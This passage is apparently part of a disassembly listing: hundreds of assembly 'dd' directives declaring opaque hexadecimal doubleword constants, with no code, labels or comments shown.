0D0BBA3D3h, 299700DDh dd 822BBCBEh, 0C700854Dh, 6878073Ch, 1D83347Ch, 0C0ACAB8Ch dd 668B28A7h, 807959Fh, 63EB902Eh, 27A5C5E0h, 93333C49h dd 568EB180h, 7064FA40h, 0B6006072h, 0D2ABE2AAh, 0CAEDBBh dd 0BE36224Fh, 86684859h, 0A969FB00h, 0F3161FE4h, 20D100F0h dd 0C7D44D90h, 0AE3ECC9Fh, 5F1280E0h, 0F7DA0487h, 0B7AA00A4h dd 1EE430Ah, 0FC004F70h, 928365A2h, 136D8E5Fh, 24C0E1h dd 190FC19Eh, 7300F756h, 6466B827h, 1ADEECFh, 0F8C975E9h dd 0C80E95D2h, 0B500B49Ah, 0C63E3512h, 0D37415h, 6704F6CCh dd 0C81D6994h, 0F2B15F00h, 5CCFAE37h, 709D0207h, 6533B62Ah dd 0FD5A6040h, 0F646641Dh, 9AC545C3h, 67180063h, 0C325F9A5h dd 0EF00D41Bh, 12EEA83h, 0EBB7984h, 0B1867E1Ch, 5EB65800h dd 18390C94h, 2677004Fh, 0B9E51CBCh, 105419D5h, 0F83220B8h dd 53001952h, 959685F5h, 1EB8F36h, 0CFF60FFCh, 0F9AF7706h dd 72342035h, 0F6928C44h, 0F4750398h, 0F2A16D54h, 7B8000ADh dd 4F33A036h, 0F9014AE8h, 0F79F6EB9h, 19317FCBh, 57AC3840h dd 781B0B28h, 7380FCEAh, 9775F9E3h, 2D306750h, 0EAC3EC00h dd 7B9A5CBEh, 1CE076Fh, 206B9E04h, 0F55263FAh, 9C0E3Dh dd 0FCB6BF2Dh, 0C23015B3h, 9FD2A3A8h, 0FECA8FC0h, 394233Dh dd 0DAAFC7CBh, 0C9EE0F27h, 540BD04h, 49899B68h, 9F334500h dd 4C55CEFCh, 0AC9A0024h, 0C69CA496h, 450E14F9h, 60767F13h dd 374B2A8Bh, 815900C3h, 0BA3BDC5Bh, 0B0C0F84Eh, 9ADAFC13h dd 0B26E00A0h, 0F460A211h, 9901E41Dh, 72A4DCC4h, 0D5CCA654h dd 0FF707Eh, 0E4AAACAh, 0AC76CE1Fh, 0F168911Fh, 45FAE643h dd 670CC8BAh, 13B90048h, 0BFC1EF02h, 980049D7h, 7CAAEE6Eh dd 0ECEC109Dh, 9F9E002Ah, 63D177C1h, 3800C07Fh, 0B32C4AEDh dd 746E417Dh, 79FC008Dh, 777F3330h, 325C4275h, 37900A97h dd 0ED01A32Fh, 9B5E1C8h, 12FFD840h, 5DDC4C3Ah, 83C6F807h dd 0D76C20C7h, 5D17ED4Fh, 714FDD3h, 82511C8Ch, 0F464E84Dh dd 541D0840h, 75F7948h, 1377C25h, 0E5E450BDh, 9500B74Eh dd 2D4D1AE7h, 23F507h, 0A68FD385h, 466A5729h, 80DCA00h dd 931D341Fh, 0A99200B5h, 3AC61CE1h, 8C019690h, 172C1B31h dd 71603C11h, 3F2A0007h, 6DD671F5h, 0F400D124h, 0BFA54A61h dd 0B005D479h, 938130Ch, 80B41E67h, 0BE5CF6Eh, 0B30EB4B6h dd 0A09472AEh, 34530F99h, 467BDEh, 27753609h, 8BA8FFCBh dd 0E5E9E600h, 0B9BA319h, 9D7807D1h, 6A4996DFh, 63B200ECh dd 0AB9E7514h, 8300A9B0h, 0A5EE5773h, 1BAD0B8h, 9A4069Fh dd 70013DF7h, 3A764D75h, 5B6A681Ch, 44A500BEh, 98911E9Ah dd 3E5F1EADh, 6E74874Fh, 124030EAh, 0E2019A06h, 1C890323h dd 75E45CE1h, 686B0069h, 28B054DCh, 22014BE3h, 1742F089h dd 20F0506Ah, 947A0061h, 3B388AF8h, 0BC00DB08h, 39ECF99Fh dd 35BDF86h, 0F8D2464Eh, 0D1E0E19Ah, 0A902FD33h, 0E3651FC1h dd 24BC60F6h, 21DC00E0h, 0F142A0BAh, 35E0524Ah, 6025AC16h dd 76CEC40Eh, 0AF451C00h, 90687C1Bh, 2958268Bh, 8550874h dd 0D2D0F440h, 105C0178h, 6F717E84h, 8320B93Eh, 0A15B759h dd 602AB9FFh, 7FED2420h, 88BD0045h, 0DC1ACEC2h, 8A005138h dd 0E6109BBh, 7C12D3Dh, 0DF283AC8h, 325F7035h, 0CD00BC46h dd 0B699D70h, 3FBD012h, 26AC8838h, 5AA0BD5Eh, 0F400077Bh dd 0DF1939F3h, 70F795h dd 80CEAB51h, 0F0C44C30h, 2E34E0Fh, 20392ECCh, 676034DAh dd 0E4CB3FD5h, 2B7C248Bh, 3BFE6580h, 3600FC1Ah, 0ED541BBCh dd 0F8C8313Ah, 30E40011h, 93B68BD5h, 709737C1h, 0EC9047h dd 62C809ECh, 0B69A04DDh, 292EF007h, 0F9479264h, 37DFE71Eh dd 6F781AD0h, 0E4074C6Dh, 0E2A55800h, 6CABFB71h, 0F7487900h dd 0FDB4FE19h, 552D000Dh, 365E8946h, 407D06Fh, 0EFB20BECh dd 15253D71h, 0E2BB44F8h, 0AFC60399h, 0CA24139Ah, 18A3B688h dd 9B557109h, 0DB08800Ah, 17B13A31h, 5A08F9h, 7C2CB5F6h dd 6A00A6BEh, 85E58B11h, 1797ED9h, 0E67D2EAFh, 30977AC9h dd 0A50193A8h, 0CBD91B3Ch, 2C64F963h, 7CB00443h, 0C254AD04h dd 0D4C0F224h, 0F4E2D220h, 0D7024C7Ah, 2708B1E5h, 1C2C60FAh dd 487C1607h, 2F7005E3h, 530490ABh, 960D6CAh, 9BA6CF59h dd 0EE70106h, 2D9027EAh, 0CE9240C7h, 3F0F1D23h, 45D030DDh dd 48C06399h, 38716Dh, 493B10ABh, 0B09637F8h, 88B86213h dd 5EC2C700h, 4A7F14h, 0D5A1CF0Fh, 9F29D34Eh, 0A7EB1A0Fh dd 1ECB47BFh, 3BA27100h, 0FC73B3h, 9BCDC31Dh, 1CE77641h dd 6679C9F6h, 426D140Eh, 71C54060h, 32DEB1h, 0BEE8290Eh dd 5001EB3Ah, 0CC1F624h, 0A28E8100h, 0EE10B716h, 3AF20747h dd 51CBFD6Ah, 52B0FA6Ch, 1510A4D0h, 994724C0h, 83D80A14h dd 53003D9Ch, 87125ADEh, 9800814Ch, 551B572Dh, 0E26CF392h dd 9E49C95Fh, 283F9401h, 24F024CDh, 6CB10800h, 1E4C4789h dd 82BE0010h, 16998394h, 0A007D21Ch, 8E282770h, 0A1405637h dd 1C8AE36h, 9DEA5783h, 0ACB1541Ch, 0D6001410h, 599030A8h dd 4ACA1728h, 0F0800BFh, 2FB9B0A0h, 1390A350h, 6A01AD7Fh dd 4F509819h, 5C2073F6h, 15EEBFh, 275706BDh, 8DDED03Fh dd 5117357Eh, 0F302AE19h, 40E32402h, 26C7AAE4h, 11229BBh dd 0BF6B9932h, 9EFCE8B5h, 0C322A709h, 0A467009Ch, 7521F861h dd 0F44FAA6h, 0E6247A5Fh, 0EF7D0660h, 94009354h, 4BE0237h dd 0F262AF22h, 0DE3F04CAh, 803C55D2h, 0DF92633Ch, 85BAC200h dd 0EF48E23Eh, 6F87020Ah, 12DA679Ah, 8B7CB840h, 5AA84500h dd 0F4852F49h, 0BBC005Eh, 0D9E40D16h, 660E572Bh, 0A9B986DDh dd 363C005Fh, 0A14A53h, 0F9134DD0h, 0D2A17CBh, 6B488E0Eh dd 0BD26C18Ah, 7C807CF5h, 0ECC1B942h, 0DF006597h, 0B644D84h dd 1738FCE2h, 0A57775h, 8B8D0F94h, 5C00C3FFh, 0F81F39A7h dd 4CD3612Eh, 501A431h, 53FD7C9Ah, 0B318A6F7h, 58BA9B02h dd 9F240CFh, 0C4BCDC82h, 80EB35F0h, 6EC04A24h, 3A5FF109h dd 2E6000DAh, 1E1C81D7h, 661E86EBh, 0BF191FE4h, 695F358Ah dd 6C23079Ch, 0FAF950C1h, 2E4AB67Ah, 6A40B81Fh, 0B31327ABh dd 0C63B0E46h, 6E40774Ch, 0ED62816Fh, 4CB1012Eh, 8C25200h dd 3884B711h, 0F78F3FDCh, 0B6407F02h, 0B82CA2E4h, 3FAEA639h dd 0D5608054h, 4ABCF0EBh, 55793A7Fh, 0A9E2210Bh, 3A102400h dd 3F0EE889h, 0D3385D9Bh, 3E91D09h, 9FB2BF64h, 0C07EFEF2h dd 242DE16Ch, 0EB989Bh, 693E1FD2h, 811E8951h, 0D7014FB6h dd 0B194DE48h, 733E2C29h, 76F20503h, 0C0D0AA50h, 6454D129h dd 8A008F84h, 0E5B1BD9Dh, 524732h, 447255F2h, 0DF15F453h dd 2C4B2B00h, 80B2287Ah, 0CA840050h, 2F0F47ADh, 0EC1DE344h dd 0B7806560h, 4FE07392h, 0DA581F7Fh, 0E3304398h, 3DC05017h dd 964D2646h, 230217BCh, 0A3C3B44Fh, 0F8AF1D6Eh, 9567F28h dd 0BB9E19C5h, 98120041h, 6739D874h, 967000F6h, 1CE4EB2h dd 0EC00CD05h, 0DB8B1C02h, 4C80E114h, 0F80CC661h, 36A8C906h dd 0E99DFB01h, 60BD348Ch, 0E93EC20h, 0DDF3911Ah, 0EF8603A0h dd 8005CCFh, 83EA63BBh, 4B2C0DBh, 1F0D9479h, 0E438C3D3h dd 0D43C47EBh, 9C2E009Fh, 668B2699h, 994009Eh, 1381C834h dd 0A975DABh, 6B06561Eh, 340D60Ah, 0D20136A9h, 2AE08846h dd 41E89453h, 135DD401h, 265FA09Ch, 111220h, 0E82A649Fh dd 752FC956h, 0E13FB800h, 47E48D5Eh, 0FAA30081h, 792E1E2Bh dd 4D01EC36h, 2542D527h, 0A8285296h, 0C6FD277Fh, 39EDD6h dd 7B9A9E48h, 7ABCEDh, 0D244BE5Ch, 298F04B4h, 80DE7F25h dd 0C1B742E0h, 0EA264C76h, 5BD52500h, 0E27CB1DCh, 0AF306105h dd 0CCD04E11h, 920A2888h, 9F890324h, 0B7B1B6EEh, 0E2D8BAA0h dd 18BEF3FDh, 720C0B7Bh, 31089B89h, 4D5A1CB5h, 0F6B002D7h dd 7FC050DDh, 9FCE55Dh, 0A911DE60h, 1E32182Ch, 404089BAh dd 797DA042h, 5800AF31h, 0E095F2CAh, 16CB2861h, 0F315EBh dd 29EE60C8h, 9E84DA5h, 0A4CB71C1h, 0B8B05BE5h, 87AF9860h dd 3B1E1100h, 0CD58EEA5h, 4BA6152Eh, 0D303A050h, 67894E8Eh dd 0C89FD837h, 0D271B703h, 88061A90h, 0F60050D7h, 3181BD3Dh dd 36920h, 0F7896B2Eh, 11355CFEh, 0B6831700h, 80DA0247h dd 0BAB558E6h, 0B3047400h, 0BDA99597h, 5900A7F6h, 6CFBDCE8h dd 0F6E34Fh, 337DE240h, 6D2CD9FDh, 52E7C300h, 0E418430h dd 7AE0057h, 0AA10E601h, 0CB00AC06h, 0AD5F09E3h, 35DD5Ch dd 0B53D1614h, 59394F63h, 46182D1Eh, 0B7D9F280h, 4E5B6799h dd 7720ACFEh, 1753ED00h, 0FF1418A5h, 3B50127Ch, 41F0055Fh dd 57F84032h, 6ECD3420h, 0EF0783F4h, 435EEB17h, 65BC08A0h dd 897700C6h, 0FB875039h, 2B071AE7h, 6A32C0C9h, 0AE50F1A7h dd 38EA772Dh, 0CE8B2151h, 3C00636Bh, 0A21766E2h, 360378BAh dd 0A568D905h, 0B248D0A1h, 255126BCh, 3F5B00C0h, 95FA646Bh dd 5979F200h, 349FE126h, 0BD5E0111h, 0BE21D343h, 9402DF9h dd 805B539Dh, 0D5AAFC00h, 0A2FB00D0h, 96BEF536h, 0EC0F4C71h dd 0A0590972h, 0AE2B4E3Ch, 706EA38h, 2D39CBE2h, 5407DB48h dd 5377A091h, 0ED003383h, 74F8E4B5h, 0FC613B4Eh, 0D8C006Ch dd 97688DC0h, 247AAE46h, 6EC4A203h, 0C8422BDBh, 0E0504AF6h dd 722F0333h, 793DFDE1h, 73F50A03h, 0A80D2CA5h, 0ECDA6237h dd 17A6004Dh, 0A243D1C8h, 842E0129h, 0AC92A08Fh, 79AE34D0h dd 719A1E7Bh, 0EC41C0BBh, 68370D5Eh, 0A0504526h, 0BE958B00h dd 3EFC5885h, 34F5A9Dh, 0C0C12364h, 5D10809Ch, 0B9E2A408h dd 1786D51Eh, 6CB3F140h, 556ADBBh, 4DC3FD51h, 0E41C8890h dd 73503304h, 0B3C025C1h, 50FA9D0h, 38CB186Dh, 2F5C8803h dd 0BD00A4F6h, 0E795514Bh, 4EC092Dh, 0B94EC37Bh, 0EF48C0C2h dd 0DE014D15h, 647F456Eh, 0EBCC862Dh, 2BE200F8h, 0B972A2C3h dd 6B1208D1h, 18805C76h, 494C96h, 0CA2A41CBh, 0E7734063h dd 4E42049h, 1669D15h, 1DAFCE0h, 91130796h, 0FC8CD7E0h dd 0DD16E6AFh, 57000337h, 0FA3F7931h, 0B23D1D77h, 0E2C68095h dd 0C89F62ADh, 0E7807A02h, 0E91E0A1Bh, 0D845A630h, 59D03081h dd 0C51CE8C2h, 2C800024h, 8F9DA0CFh, 9362DA05h, 20D58E98h dd 0D9396B07h, 0C4F8CD02h, 0E9D0F585h, 2C20F0B8h, 535800A8h dd 0EA4B5228h, 22009A0Eh, 0CEF4D3FCh, 5C91D4A9h, 1F007493h dd 0A8FE36A1h, 7F00B701h, 0A5D80DDh, 3A0F32h, 20FA0706h dd 7A9ED357h, 847100Bh, 0DAC891A6h, 0F1D58E4h, 689D8194h dd 0D3E47FC0h, 0C51C8A74h, 0DEECBB36h, 7D4AF20Eh, 2FA70D40h dd 98138011h, 0C42E0163h, 0DB44F0BBh, 0FAD8B008h, 69BFA1h dd 1C84A927h, 1525B62Fh, 9D4B700h, 812EC438h, 0B9AB3AE1h dd 7E004CC8h, 3E0F8AFFh, 8D03364Fh, 8E6BA344h, 0C0A1D23Bh dd 0B3977A8h, 51856E6Fh dd 0CC8B9400h, 0A6F87DA5h, 0F9FAC604h, 1881797Eh, 8420AD12h dd 6535005Bh, 20B2C76Ah, 0C300E7B7h, 0AD5D8856h, 7927121Bh dd 2E330076h, 0B66C6890h, 7D09814Ch, 809AD3ACh, 299FC887h dd 0BB5C00DCh, 88BF692Dh, 17013310h, 7DABE56Eh, 3BD4E647h dd 0C6DC008Fh, 0A78D9CC1h, 2A00B3A1h, 32C9DE5Ch, 175D207Bh dd 40C82FD6h, 0A717779Ch, 9E5860CAh, 0AC0850DAh, 48F0CD0Bh dd 0CF7CA0E0h, 0FB0BE1h, 0FF4D61DAh, 5CAE155Eh, 0A01C2800h dd 0D264DEF8h, 17942695h, 4FFE00A0h, 3925565Fh, 9663ED0Fh dd 8F0A9233h, 0A101A0A7h, 0CB5C431Ah, 7CA8DBF0h, 0DE648h dd 0D7FD2A70h, 0B4EA187Eh, 0F3FB5400h, 0A155A03Eh, 275600A3h dd 612F1A88h, 480F175Ah, 0C045AA37h, 0DB53F93Dh, 0ABC9006Dh dd 67B7033Ah, 0F30909D3h, 0AFF4F06Ch, 2031AE50h, 194090A4h dd 47F8A05Ch, 8EDCB9D8h, 18580801h, 0B11FDF38h, 865444C5h dd 80D23C84h, 6D7C253Ah, 1AEAAEh, 3DDE140Eh, 0B08398C3h dd 121D01EEh, 0E7860336h, 3386CF6h, 25D9A77Ch, 10005AF1h dd 2CFD1D3Ah, 12DECE52h, 44D8B4FBh, 0E0127DC4h, 27003364h dd 1797BF1h, 0E2F32E92h, 20B442h, 4A57CE40h, 980349DDh dd 0EE56FAF0h, 4420C0A5h, 9AF31DF8h, 3E94A8C4h, 0F98077BBh dd 7C1936CCh, 0C009765h, 7A944EF3h, 0C02FE423h, 0EA840E28h dd 2B001898h, 0FE445E28h, 79BC4375h, 0F1CA0389h, 79B89101h dd 14D423B8h, 5D35CE01h, 530FE9Ah, 2606A9D4h, 1B4BC93h dd 89C4B9C9h, 1FAD00Fh, 4AD86260h, 0D62D16h, 45835174h dd 2EA1194Bh, 72755C00h, 968FDAAFh, 7E0F68Ch, 1E6EBCEh dd 0A776006h, 289E50B1h, 0B062C000h, 0E7DFAFFh, 6E88E4DCh dd 1F2AE680h, 0BF00963Bh, 47AE94DBh, 0EA0F57A7h, 2CB8982Fh dd 17F06511h, 0CB0BFEF1h, 8B4B803Eh, 761BA7h, 0EF192F01h dd 7AC2C651h, 0E91772E8h, 0D4276737h, 9C3859E0h, 6831016Fh dd 32E64C78h, 4E6A800Ch, 0D64F8581h, 0CF180B39h, 8403A05Fh dd 17DB766Ah, 0D89ED8A9h, 8B722A25h, 0B841F104h, 4CA18263h dd 0E807EC60h, 97882E6Eh, 4D5660E8h, 4C9420D7h, 201B403Ah dd 0F0E12440h, 0A402BAF9h, 9D110E82h, 480441B7h, 3F1E1C29h dd 34910190h, 403D5968h, 2A0FE908h, 4601CCE6h, 353B5A0Dh dd 51EEAEEFh, 982610A8h, 9F7CFA1h, 29F6824Bh, 9088C045h dd 8063E308h, 4EC5FFA3h, 5600402Ch, 0DCB7163Dh, 0ACE93Dh dd 757E9AA4h, 0EBFC7Ah, 0A4E5A12h, 27446392h, 8F008972h dd 64C0C240h, 7E26D3DAh, 0CC7B00C5h, 695BE223h, 150CB03Eh dd 684CBB97h, 78C91E4Eh, 16EB80B6h, 85CFF51Fh, 140BD02h dd 401DDED1h, 9D2C94h, 0E36190BFh, 29D4B80Fh, 0FC49E700h dd 7C72BA07h, 0BFE00392h, 9474334Ah, 1DFE5FB8h, 24C13703h dd 98595458h, 0FCF48740h, 0D34A00CCh, 199EB6ECh, 0C2005144h dd 8CBDD836h, 16133942h, 780E90Eh, 671DE298h, 467F7289h dd 754060DDh, 0FA121DA6h, 0DF30C037h, 65A36D54h, 18006CF2h dd 4AF7FE7Eh, 4D31EF4h, 21315834h, 0E03F8783h, 6D14FD1Bh dd 85D91D00h, 8739FEB7h, 82E0116h, 42FC68DFh, 0C04080FFh dd 9B8F1922h, 2BF80141h, 0D5BE9872h, 296C2092h, 2D01A775h dd 82613AC7h, 0E1D488DEh, 0FDAD3901h, 0EB6B0480h, 0ED62FEE8h dd 0C85F5301h, 8A0FC283h, 0B8BB7BFCh, 0D782222Ch, 0FAD0AC00h dd 4963E515h, 7C0604F3h, 0C084437Bh, 0DD967D84h, 0E8B33B0Bh dd 9BC7003Fh, 2633DF06h, 54DAF6h, 7FF89A9Dh, 0A10C8C13h dd 0E87E69EEh, 84E30136h, 0CB74AAE1h, 7BB0925Ch, 5190B0D2h dd 0AFBB8B20h, 6588FB80h, 0F30050CFh, 0B19558CDh, 259EE9ACh dd 0CC68FEDCh, 313EA323h, 87A10089h, 7D6FF7C0h, 262507EBh dd 3142CFC4h, 0E5C178E5h, 0B2F3F85Dh, 74D02100h, 0E93A7A9Bh dd 95CB1EF7h, 0E78EC005h, 81120754h, 335A2200h, 848D23F3h dd 0F651E2Dh, 7C05C048h, 9343831Dh, 0AD07087Eh, 0B2C5C691h dd 0B66D1071h, 8E0CC8h, 0CB638295h, 8A94553Bh, 7CA01403h dd 0F0D343BFh, 14A89DBAh, 0C003B76Bh, 23A4C11h, 1FA16D55h dd 0AFD480FBh, 0FFA661h, 0B354B296h, 0BA01CDD7h, 3EBBB00h dd 8975ACE6h, 0B5BF01DEh, 5342C362h, 1E6C2894h, 680135Dh dd 796F47Eh, 4F4B2C65h, 0B4CB1294h, 30002ECh, 1B01CFAEh dd 72EB1C71h, 7D60059h, 0CD04EE4Fh, 6203845Ah, 143A7BF3h dd 2FF2A88Ch, 0CA16005Ch, 9FDD474Eh, 0C526A64Ch, 0B5801888h dd 0E4CB3CDCh, 6BFA5Bh, 0C5642FEEh, 907F5F3Bh, 0F7F89212h dd 6C8E6400h, 0E683D8h, 0CA714312h, 0EC793B9Fh, 0A9A67A0Fh dd 0F2300607h, 5FC90050h, 0B272ABDBh, 0E407A0BDh, 32F73E9Ch dd 96FEF020h, 795D0B5Ch, 220047B1h, 637EAA23h, 0B82B7400h dd 0FB1A4AF6h, 1FFE0BBh, 488B7CD4h, 20EF69BFh, 6E04C46Ch dd 0BD0E2691h, 633E54C2h, 0F7391E95h, 942930EFh, 1C0025BEh dd 1875CC7Ah, 3B64B442h, 1302A343h, 4F9A64Dh, 0A006450h dd 0D0158598h, 1621F4Ah, 0F9AE638Bh, 0F9BAD109h, 1290FF9Fh dd 411E1335h, 7ADDDB34h, 0E8088142h, 10C4A05Ah, 8CC4B0h dd 27FD049Ah, 91D42948h, 4477FB00h, 0CAACE431h, 606E1D6Ah dd 63A04606h, 8F00B8D5h, 9B1778B9h, 1A7F8Ah, 0C9D7066Dh dd 23818505h, 3695F100h, 0F9E62F14h, 1E5CF67Bh, 8090E86Ch dd 0B84A1D93h, 2C7F63B5h, 0A1796E2h, 0A60A23A3h, 0B202C975h dd 0D085558Bh, 704E2E94h, 0A62A00E2h, 2CE354DDh, 85E8CC00h dd 76C325CAh, 0E70200EBh, 2A4F3AFDh, 3D0060C8h, 40C9129Dh dd 16096618h, 9CA7782h, 0D48039EAh, 0A6E87DBCh, 18466225h dd 1C20E1Ch, 9F042479h, 42263A54h, 785CA6B8h, 40E64389h dd 0BC6970h, 46B30A22h, 0D13D2B7Ah, 8AB87105h, 8CA16E57h dd 473C002Fh, 0C6F0EE9Ah, 0AE143107h, 805EA473h, 3C233EECh dd 76340061h, 36B0F11Ah, 607CCA15h, 0DCA01098h, 2B033C27h dd 0D49DEDC9h, 0B44A88F0h, 3E73E2DFh, 23007489h, 2B53816Bh dd 901F9ABAh, 0C0839632h, 0F3FB11CEh, 0B81EB8F6h, 0EE60005Dh dd 3125BAC5h, 0C7009416h, 2B4AF835h, 9E504AEh, 431D119Eh dd 48EE4800h, 0FE30F578h, 3C698826h, 0BE700074h, 0B7206B93h dd 214A3D8Fh, 9C814C01h, 3428EFDCh, 0CAC60400h, 7D1E3FA6h dd 0B595B303h, 90AB0C19h, 0A01CF629h, 2A368Ch, 99A2F3C6h dd 77246C3Fh, 0C8CD4800h, 342050BDh, 0F24300EEh, 0AA9FEC55h dd 800DFF0h, 377C2418h, 190A0E8h, 0D4D18433h, 0C849BA32h dd 0E900FD71h, 70991CBDh, 62818Ah, 88EA20F8h, 47799185h dd 899A1500h, 0DDFD21B8h, 9BD13C9Eh, 0F88093h, 7717CB20h dd 0DA077264h, 0FB198413h, 28B76190h, 76670111h, 0F5D74380h dd 48116016h, 4950D200h, 301CE75h, 3E28B0D3h, 4000CBE9h dd 0DB3D5B7Ch, 0C127A3C6h, 1EA048CAh, 7BB1009Dh, 0AABFEC6Eh dd 0D4164195h, 5890122Ah, 3D9C0555h, 7D807154h, 6F4D3FBh dd 42003D93h, 0FE62EBE3h, 17C0AFh, 0C192342Fh, 9A6FFD85h dd 4071CF00h, 67985FF3h, 0A58F0099h, 0F77934E5h, 0C706DA52h dd 614437BEh, 260D0078h, 0A450F05h, 600071AFh, 0E1CEE76Ch dd 0F3781Ch, 0C9DA23C7h, 0DD530774h, 0C84CEB12h, 882BB1Eh dd 0E0E17C73h, 0F31A2D0Ch, 1950FD8h, 8D042671h, 0C8E58656h dd 680075FFh, 6EA6F01Fh, 22ED613Dh, 0FEFC532Ch, 8E5D08BCh dd 0EDDFE5D3h, 4BB4F881h dd 0AC720909h, 0D50008A7h, 0D350DFCAh, 89AF1498h, 2C77188Eh dd 2D484D57h, 0ED32E81Ch, 539F81D2h, 61DE0194h, 0C0DAF3Ch dd 7F5B869Ch, 0B715E820h, 8853B844h, 204EE454h, 3D0030D7h dd 2031AF75h, 49DC45h, 68B6CC3Eh, 61FBEA81h, 9C31074Ah dd 0C4E17FDBh, 5196D0h, 95A59B84h, 221E13ACh, 1D05EE00h dd 34DBCA6Bh, 0EDA200FFh, 0A99CF887h, 6800F27Dh, 0BA057211h dd 70D7DFB3h, 0D05C00D8h, 41381BB5h, 2900779Dh, 3FC1E33Ah dd 0CEEE12h, 18EFAE0Bh, 3E956DC0h, 0CAB6AB00h, 904E680Ch dd 6CE800BDh, 67497DB1h, 0B0001F96h, 650ADFEDh, 0BBB709h dd 0EB8C8468h, 2F8E8232h, 6B0060E8h, 0F239D91Eh, 23F3E88h dd 0A95BE39Dh, 23C1DE81h, 2DF82844h, 72E4A026h, 728D56E1h dd 59750097h, 3116D8A9h, 5003F8Ch, 7998B7B5h, 9FFD7FBh dd 5D2F41ACh, 690010D1h, 0B62C7A8h, 929B002Dh, 2EE5C65Fh dd 2600F0CEh, 0FAA12ABh, 274CD66Dh, 9080DA84h, 0D8E3CAB3h dd 8B541800h, 0CB05660Dh, 33BD27A3h, 70E2D0E1h, 0F4E76DC0h dd 17007CEBh, 0D08F53B8h, 7BCB991Bh, 117402B9h, 6DECCDB3h dd 0E5D37443h, 6AD80783h, 5F016188h, 0A073F801h, 3B8ECDh dd 0DFEC2304h, 0BA005071h, 1A630F13h, 612845h, 0BF0B3E21h dd 9CA3D362h, 5C34C624h, 9D0C5D00h, 0BC993270h, 4FB61E58h dd 37E3507Bh, 209822CBh, 3F01F39Ah, 921EA2F4h, 0C0801ACFh dd 8791B8DEh, 0E2007F70h, 0C7887ADDh, 0EE49AA50h, 0E8A00731h dd 306D14AFh, 305F5BC9h, 0FE539C00h, 8EFC73F0h, 0B7482E01h dd 586A0028h, 8768CFFh, 5A9D8D02h, 412702B5h, 403FD17Ch dd 5CD0F040h, 8E2214Dh, 2D849801h, 63F73953h, 6DDA1CCh dd 0A734E04Fh, 0C10078C4h, 9C428186h, 4A64CB9h, 365E9549h dd 0DF62C065h, 1524704Bh, 0B197B02Fh, 51603499h, 128A266Dh dd 0AE900038h, 2FC95C1Dh, 3B3F961Eh, 840B14h, 0AA8F9381h dd 5798D7h, 181E1AD1h, 21498032h, 79592207h, 0C0114594h dd 13D85D25h, 2E66009Dh, 3305CDE5h, 41137146h, 0A80F732Ch dd 0D09CC78Dh, 265DAC00h, 0F46902F0h, 498690C0h, 0EF01F45Ch dd 826C9EB6h, 89F783EFh, 50F0DD2Dh, 0DEA12F73h, 0E6028258h dd 1C871FC8h, 7C8080D9h, 6F6E1115h, 0F6815685h, 4034D22Fh dd 17E2F280h, 64065112h, 57437809h, 143B3D80h, 9F1246B4h dd 784093C4h, 54AED125h, 7DCA001Fh, 0E63FF07Fh, 0B1002F79h dd 73F5EA5Ah, 39D575FDh, 0C5821E3Ah, 0F2883139h, 99879040h dd 865C7300h, 5E5FECB1h, 0AF0E38F4h, 89014080h, 923CDF65h dd 6A54FE14h, 788F00E4h, 728DD2CFh, 0E4F90EA6h, 0B4A04D15h dd 0D87FC18Eh, 870258B9h, 523F6FCh, 27B840EAh, 80BE064Bh dd 7301D071h, 5575D74Ch, 0FC70C3B1h, 384A00F2h, 445E237Bh dd 1900DDA3h, 0FEEABAF1h, 956698FAh, 80720402h, 0B022F880h dd 0D50061AAh, 0D734015h, 60CD419Fh, 0FC4FF8F4h, 4324707h dd 0C4ABE888h, 9F4E0Ch, 0E3D387B7h, 710003BAh, 0CD596F96h dd 3FD1F51Fh, 88480AA8h, 0B091A716h, 4F0051C0h, 0BFAB79B3h dd 7DC79Bh, 950BC2F4h, 0E9765914h, 7C855D0Fh, 314F609Eh dd 0DE52C4h, 0F11C0DEFh, 6A138A73h, 0C6F85000h, 79B88B53h dd 0F2F70C18h, 0CD0E0C5h, 4D328C02h, 510EE784h, 0D52C0004h dd 199395DEh, 440951E4h, 0C57C25h, 571EAD3Bh, 2503D63h dd 0EB910500h, 5F85400Fh, 20B0EA06h, 3051C9h, 0FFBA2677h dd 38185DE7h, 0C007B127h, 0E3CF8h, 6B249BA7h, 0D3888BB0h dd 5A9AB901h, 8CB6F0E1h, 4D5F470h, 0CEC6E6CDh, 6DC5C046h dd 31003C8Bh, 1B7BC326h, 13BA08Fh, 0B7DD8208h, 20B50A2Bh dd 0FD00F204h, 0EF7B1D0Ch, 2AFE97h, 9E75612Fh, 0E170F4Dh dd 0E007B200h, 48359254h, 0BF87343h, 0B9B99CEh, 0E1FCB858h dd 0CA02A41Dh, 0E4AE798Ah, 554D4080h, 75067C9h, 6126814Bh dd 52084028h, 0B007E7Ch, 0EDFBBDC5h, 0B58B2956h, 0E56BE820h dd 7175B8F4h, 722C391Ch, 70028912h, 8E923DA9h, 3BC05FC4h dd 0E5E7BD75h, 0CC980F26h, 8020BC4Ah, 3CA30B11h, 2A3B958h dd 16EBC325h, 5C2C6273h, 464A0254h, 0AE0292Fh, 0B70AC6FDh dd 0A4167B75h, 0E84DD400h, 503382h, 6AF905DCh, 0A9BD8E20h dd 92A72A00h, 0B8BFF331h, 70BA03E5h, 0ECAB32AFh, 8F6E90C7h dd 0A6001C30h, 0E3BE555Eh, 7928F4h, 0FDD96197h, 9F037D37h dd 0D9927h, 3CDCC150h, 0BD5200C6h, 3BA2F7B6h, 0EC4C07BAh dd 82013E20h, 0D7D8D457h, 3D885010h, 0A9A4B02Fh, 783982C8h dd 0ACD4D2ECh, 0FAD73241h, 7FBC206Eh, 4890500Dh, 0AB4BC07Bh dd 0B9C8C14h, 0A45A9CA1h, 0DCB446B0h, 0A9550026h, 991885A7h dd 12009D67h, 4E0F56FAh, 38F6CD75h, 7554F0h, 77BACA5Fh dd 364CF5D3h, 0A12DE501h, 0B4BB6CA4h, 0ECF55DE9h, 9306603Ch dd 507E98F3h, 0C42212A0h, 0E8610900h, 0A90E85F0h, 387F006Ah dd 67C5428Fh, 48273EFAh, 0DE582277h, 80D54251h, 2EF89E60h dd 0C50F018Bh, 0DD868A3Ch, 0F562F01Bh, 0E3C33D00h, 0FC2506E6h dd 26A90142h, 236AF256h, 6DCFD40Dh, 0E422EF07h, 0E5B0613Fh dd 9E7A99h, 0A2E9528h, 5C64DD85h, 5AFD43Ch, 794DC3FFh dd 7FF37CB0h, 49FA27h, 0A5CB2FF4h, 964FFE9Bh, 0A6239F0Eh dd 0F1C7E48h, 0EF0E5700h, 138C1C68h, 0E44DC4B6h, 8E2733B4h dd 894C41E1h, 0B897A8D4h, 0A7B40098h, 